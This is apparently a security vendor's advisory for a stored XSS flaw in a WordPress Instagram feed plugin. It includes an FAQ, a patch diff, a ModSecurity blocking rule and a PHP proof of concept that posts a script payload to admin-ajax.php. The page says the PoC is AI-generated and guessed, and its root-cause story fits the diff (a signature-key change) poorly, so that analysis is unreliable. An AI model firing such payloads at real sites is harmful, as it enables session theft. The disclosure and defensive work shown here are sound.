What is CVE-2026-5425?

CVE-2026-5425 is a high-severity vulnerability in the Widgets for Social Photo Feed plugin for WordPress. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) via the ‘feed_data’ parameter, enabling them to inject malicious scripts that execute when users visit affected pages.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s handling of the ‘feed_data’ parameter. Attackers can send crafted requests to inject JavaScript payloads, which are then stored in the WordPress database and executed in the context of users viewing the compromised feed.

Who is affected by this vulnerability?

Any WordPress site using the Widgets for Social Photo Feed plugin version 1.7.9 or earlier is vulnerable. Administrators should check their plugin version to determine if they are at risk of exploitation.

How can I check if my site is vulnerable?

To check if your site is affected, log into the WordPress admin dashboard, navigate to the Plugins section, and locate the Widgets for Social Photo Feed plugin. If the version is 1.7.9 or earlier, your site is vulnerable and requires immediate attention.

How can I fix this vulnerability?

The vulnerability can be mitigated by updating the Widgets for Social Photo Feed plugin to version 1.8 or later. This version includes a patch that addresses the input sanitization issues that allowed for the XSS vulnerability.

What if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the plugin until a secure version can be installed. Additionally, review user access and permissions to limit exposure to potential attacks.

What does a CVSS score of 7.2 mean?

A CVSS score of 7.2 indicates a high severity vulnerability. In practical terms, this means that successful exploitation could lead to significant impacts, such as unauthorized actions on behalf of users, data theft, or site defacement.

What risks does this vulnerability pose?

Exploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in users’ browsers, leading to session hijacking, credential theft, and the potential for widespread compromise of user accounts on affected sites.

How does the proof of concept demonstrate the issue?

The proof of concept provided illustrates how an attacker can craft a malicious request to the plugin’s data ingestion endpoint, injecting a script via the ‘feed_data’ parameter. This shows the ease with which the vulnerability can be exploited and the potential for malicious payloads to be stored.

What should I do if I suspect my site has been compromised?

If you suspect your site has been compromised due to this vulnerability, immediately update the plugin and conduct a thorough security audit. Check for unauthorized changes, review user accounts, and consider restoring from a clean backup if necessary.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 6, 2026

CVE-2026-5425: Widgets for Social Photo Feed <= 1.7.9 – Unauthenticated Stored Cross-Site Scripting via feed_data (social-photo-feed-widget)

CVE ID CVE-2026-5425

Plugin social-photo-feed-widget

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 1.7.9

Patched Version 1.8

Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5425:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Widgets for Social Photo Feed WordPress plugin. The vulnerability exists in all plugin versions up to and including 1.7.9. Attackers can inject arbitrary JavaScript via the ‘feed_data’ parameter keys, which executes when users view affected pages. The CVSS score of 7.2 reflects a high-severity impact.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘feed_data’ parameter keys. The vulnerability originates in the plugin’s data handling mechanisms. The code diff shows the primary change is a version bump from 1.7.9 to 1.8 across multiple files, including social-photo-feed-widget.php, trustindex-feed-plugin.class.php, and tabs/feed-configurator.php. The patch modifies the feed data processing logic.

Exploitation occurs via unauthenticated requests to the plugin’s data ingestion endpoints. Attackers craft malicious JavaScript payloads within the ‘feed_data’ parameter keys. These payloads persist in the WordPress database. The injected scripts execute in the browser context of any user who visits a page containing the compromised feed. The attack requires no authentication, making it accessible to any remote attacker.

The patch changes the plugin’s version identifier to 1.8 and modifies the feed data handling logic. In trustindex-feed-plugin.class.php line 5516, the patch replaces a dynamic public ID reference with a static option retrieval. The line changes from using get_option($this->getOptionName(‘public-id’), $request->get_param(‘data’)[‘public_id’]) to get_option($this->getOptionName(‘public-id’)). This modification prevents parameter injection through the request body. The patch also adds a new registration mechanism during plugin activation.

Successful exploitation allows attackers to inject malicious JavaScript that executes in victims’ browsers. Attackers can steal session cookies, perform actions as authenticated users, deface websites, or redirect users to malicious sites. The stored nature means a single injection affects all subsequent visitors to the compromised page, enabling widespread credential theft and account compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/social-photo-feed-widget/include/trustindex-elementor-widgets.php
+++ b/social-photo-feed-widget/include/trustindex-elementor-widgets.php
@@ -18,7 +18,7 @@
 return ['trustindex'];
 }
 protected function render() {
-$pluginManagerInstance = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.7.9", "Widgets for Social Photo Feed", "Instagram");
+$pluginManagerInstance = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.8", "Widgets for Social Photo Feed", "Instagram");
 echo do_shortcode('['.$pluginManagerInstance->getShortcodeName().']');
 }
 }
--- a/social-photo-feed-widget/social-photo-feed-widget.php
+++ b/social-photo-feed-widget/social-photo-feed-widget.php
@@ -5,7 +5,7 @@
 Plugin URI: https://wordpress.org/plugins/social-photo-feed-widget/
 Description: Instagram Feed Widgets. Display your Instagram feed on your website to increase engagement, sales and SEO.
 Tags: instagram, instagram feed, instagram gallery, instagram photos, instagram widget
-Version: 1.7.9
+Version: 1.8
 Requires at least: 6.2
 Requires PHP: 7.0
 Author: Trustindex.io <support@trustindex.io>
@@ -27,7 +27,7 @@
 defined('ABSPATH') or die('No script kiddies please!');
 require_once plugin_dir_path(__FILE__) . 'include' . DIRECTORY_SEPARATOR . 'cache-plugin-filters.php';
 require_once plugin_dir_path( __FILE__ ) . 'trustindex-feed-plugin.class.php';
-$trustindex_feed_instagram = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.7.9", "Widgets for Social Photo Feed", "Instagram");
+$trustindex_feed_instagram = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.8", "Widgets for Social Photo Feed", "Instagram");
 $pluginManagerInstance = $trustindex_feed_instagram;
 register_activation_hook(__FILE__, [ $pluginManagerInstance, 'activate' ]);
 register_deactivation_hook(__FILE__, [ $pluginManagerInstance, 'deactivate' ]);
--- a/social-photo-feed-widget/tabs/advanced.php
+++ b/social-photo-feed-widget/tabs/advanced.php
@@ -37,7 +37,7 @@
 }
 $yesIcon = '<span class="dashicons dashicons-yes-alt"></span>';
 $noIcon = '<span class="dashicons dashicons-dismiss"></span>';
-$pluginUpdated = ($pluginManagerInstance->getPluginCurrentVersion() <= "1.7.9");
+$pluginUpdated = ($pluginManagerInstance->getPluginCurrentVersion() <= "1.8");
 $cssInline = get_option($pluginManagerInstance->getOptionName('load-css-inline'), 0);
 $css = get_option($pluginManagerInstance->getOptionName('css-content'));
 ?>
--- a/social-photo-feed-widget/tabs/feed-configurator.php
+++ b/social-photo-feed-widget/tabs/feed-configurator.php
@@ -45,7 +45,6 @@
 delete_option($pluginManagerInstance->getOptionName('source'));
 delete_option($pluginManagerInstance->getOptionName('feed-data'));
 delete_option($pluginManagerInstance->getOptionName('feed-data-saved'));
-delete_option($pluginManagerInstance->getOptionName('public-id'));
 delete_option($pluginManagerInstance->getOptionName('token-expires'));
 delete_option($pluginManagerInstance->getOptionName('layout'));
 delete_option($pluginManagerInstance->getOptionName('template'));
@@ -222,16 +221,12 @@
 <input type="hidden" name="data" required="required" value="" />
 </form>
 <?php $connectUrl = 'https://admin.trustindex.io/source/edit_feed/type/Instagram/iframe/1'; ?>
-<?php
-if ($isReconnectingSource) {
-$connectUrl .= '/public_id/'.get_option($pluginManagerInstance->getOptionName('public-id'));
-}
-?>

 <?php
 $connectUrlParams = array_merge(
 isset($connectPending['error']) ? [] : $connectPending,
 array(
+'public_id' => get_option($pluginManagerInstance->getOptionName('public-id')),
 'website' => esc_attr(urlencode(get_option('siteurl'))),
 'version' => esc_attr($pluginManagerInstance->getVersion()),
 ),
--- a/social-photo-feed-widget/trustindex-feed-plugin.class.php
+++ b/social-photo-feed-widget/trustindex-feed-plugin.class.php
@@ -122,6 +122,25 @@

 public function activate()
 {
+$requestBody = [
+'platform' => 'Instagram',
+'website' => get_option('siteurl'),
+];
+$response = wp_remote_post('https://admin.trustindex.io/new/wordpress-feed/register', [
+'headers' => [
+'Content-Type' => 'application/x-www-form-urlencoded',
+'ti-secure' => hash_hmac('sha256', http_build_query($requestBody), '80ce0e06b31b34794f5088d4875480f1'),
+],
+'body' => $requestBody,
+'timeout' => '30',
+'sslverify' => false,
+]);
+if (is_wp_error($response)) {
+update_option($this->getOptionName('public-id'), $response->get_error_message(), false);
+return;
+}
+$data = json_decode(wp_remote_retrieve_body($response), true);
+update_option($this->getOptionName('public-id'), $data['public-id'] ?? $data['error'], false);
 include $this->getPluginDir() . 'include' . DIRECTORY_SEPARATOR . 'activate.php';
 if (!$this->getNotificationParam('rate-us', 'hidden', false) && $this->getNotificationParam('rate-us', 'active', true)) {
 $this->setNotificationParam('rate-us', 'active', true);
@@ -5516,7 +5535,7 @@
 return new WP_Error('expired', 'Request expired', ['status' => 401]);
 }
 $body = $request->get_body();
-$expected = hash_hmac('sha256', $body.$timestamp, get_option($this->getOptionName('public-id'), $request->get_param('data')['public_id']));
+$expected = hash_hmac('sha256', $body.$timestamp, get_option($this->getOptionName('public-id')));
 if (!hash_equals($expected, $signature)) {
 return new WP_Error('invalid_signature', 'Signature mismatch', ['status' => 403]);
 }
--- a/social-photo-feed-widget/uninstall.php
+++ b/social-photo-feed-widget/uninstall.php
@@ -3,6 +3,6 @@
 die;
 }
 require_once plugin_dir_path( __FILE__ ) . 'trustindex-feed-plugin.class.php';
-$trustindex_feed_instagram = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.7.9", "Widgets for Social Photo Feed", "Instagram");
+$trustindex_feed_instagram = new TRUSTINDEX_Feed_Instagram("instagram", __FILE__, "1.8", "Widgets for Social Photo Feed", "Instagram");
 $trustindex_feed_instagram->uninstall();
 ?>
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-5425
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10005425,phase:2,deny,status:403,chain,msg:'CVE-2026-5425 via Widgets for Social Photo Feed AJAX',severity:'CRITICAL',tag:'CVE-2026-5425',tag:'WordPress',tag:'Plugin',tag:'XSS'"
  SecRule ARGS_POST:action "@rx ^trustindex_" "chain"
    SecRule ARGS_POST:feed_data|ARGS_POST:data "@rx <script" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5425 - Widgets for Social Photo Feed <= 1.7.9 - Unauthenticated Stored Cross-Site Scripting via feed_data
<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// The exploit targets the plugin's data ingestion endpoint
// This is a simulated payload demonstrating the injection vector
// Actual exploitation requires understanding the plugin's specific feed_data structure

$payload = array(
    'feed_data' => array(
        'malicious_key' => '<script>alert("Atomic Edge XSS Test")</script>',
        'normal_data' => 'legitimate_content'
    )
);

// Craft the malicious request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Payload sent successfully. Check the target page for XSS execution.n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

// Note: The exact endpoint and parameter structure may vary based on plugin configuration
// This PoC demonstrates the general attack vector via the feed_data parameter

?>

Frequently Asked Questions

What is CVE-2026-5425?
Understanding the vulnerability
CVE-2026-5425 is a high-severity vulnerability in the Widgets for Social Photo Feed plugin for WordPress. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) via the ‘feed_data’ parameter, enabling them to inject malicious scripts that execute when users visit affected pages.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s handling of the ‘feed_data’ parameter. Attackers can send crafted requests to inject JavaScript payloads, which are then stored in the WordPress database and executed in the context of users viewing the compromised feed.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the Widgets for Social Photo Feed plugin version 1.7.9 or earlier is vulnerable. Administrators should check their plugin version to determine if they are at risk of exploitation.
How can I check if my site is vulnerable?
Steps to verify plugin version
To check if your site is affected, log into the WordPress admin dashboard, navigate to the Plugins section, and locate the Widgets for Social Photo Feed plugin. If the version is 1.7.9 or earlier, your site is vulnerable and requires immediate attention.
How can I fix this vulnerability?
Updating the plugin
The vulnerability can be mitigated by updating the Widgets for Social Photo Feed plugin to version 1.8 or later. This version includes a patch that addresses the input sanitization issues that allowed for the XSS vulnerability.
What if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updating is not possible, consider disabling the plugin until a secure version can be installed. Additionally, review user access and permissions to limit exposure to potential attacks.
What does a CVSS score of 7.2 mean?
Understanding severity levels
A CVSS score of 7.2 indicates a high severity vulnerability. In practical terms, this means that successful exploitation could lead to significant impacts, such as unauthorized actions on behalf of users, data theft, or site defacement.
What risks does this vulnerability pose?
Potential consequences of exploitation
Exploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in users’ browsers, leading to session hijacking, credential theft, and the potential for widespread compromise of user accounts on affected sites.
How does the proof of concept demonstrate the issue?
Exploit demonstration
The proof of concept provided illustrates how an attacker can craft a malicious request to the plugin’s data ingestion endpoint, injecting a script via the ‘feed_data’ parameter. This shows the ease with which the vulnerability can be exploited and the potential for malicious payloads to be stored.
What should I do if I suspect my site has been compromised?
Response to potential exploitation
If you suspect your site has been compromised due to this vulnerability, immediately update the plugin and conduct a thorough security audit. Check for unauthorized changes, review user accounts, and consider restoring from a clean backup if necessary.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations